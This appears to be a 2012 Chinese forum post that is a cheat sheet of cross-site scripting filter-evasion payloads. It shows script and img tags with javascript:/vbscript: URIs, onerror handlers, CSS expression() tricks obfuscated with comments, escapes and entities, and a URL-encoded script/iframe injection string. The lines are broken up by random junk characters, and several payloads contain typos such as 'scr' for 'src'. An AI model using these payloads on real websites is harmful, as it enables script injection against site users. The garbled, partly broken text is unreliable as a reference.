<script>alert("跨站")</script> (最常用）
: d: [7 b5 E; w; X6 S, O$ {<img scr=javascript:alert("跨站")></img>
3 ~: `5 e! t/ s. a4 p3 z<img scr="javascript: alert(/跨站/)></img>; N* E8 J& e- G6 Q
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
$ U5 E$ e: M$ D. p8 C' e$ `- T<img scr="#" onerror=alert(/跨站/)></img>, i) J+ b. n8 ? X m* x
<img scr="#" style="xss:expression(alert(/xss/));"></img>
" {( ?9 `! y2 s' ^" w; {<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）0 t* f4 B% C) P, }# D9 n5 V
<img src=vbscript:msgbox ("xss")></img>& G: I! W! T, R- V
<style> input {left:expression (alert('xss'))}</style>* a9 j( b2 v+ O8 ]/ s$ t
<div style={left:expression (alert('xss'))}></div>8 a9 z2 y; Q; [
<div style={left:exp/* */ression (alert('xss'))}></div>+ C6 _4 `1 X" T2 e2 O
<div style={left:\0065\0078ression (alert('xss'))}></div>; M: f% {. U& A9 b0 K2 _6 `
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>
+ P: {. B* m$ X+ {. ~unicode <div style="{left:expRessioN (alert('xss'))}">% K/ Z$ }, f( B' r* [; {( S
. v' I r2 |7 D"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
9 Y% [& u/ f8 R% _ |
发表于 2012-9-15 14:09:13
收藏
支持
反对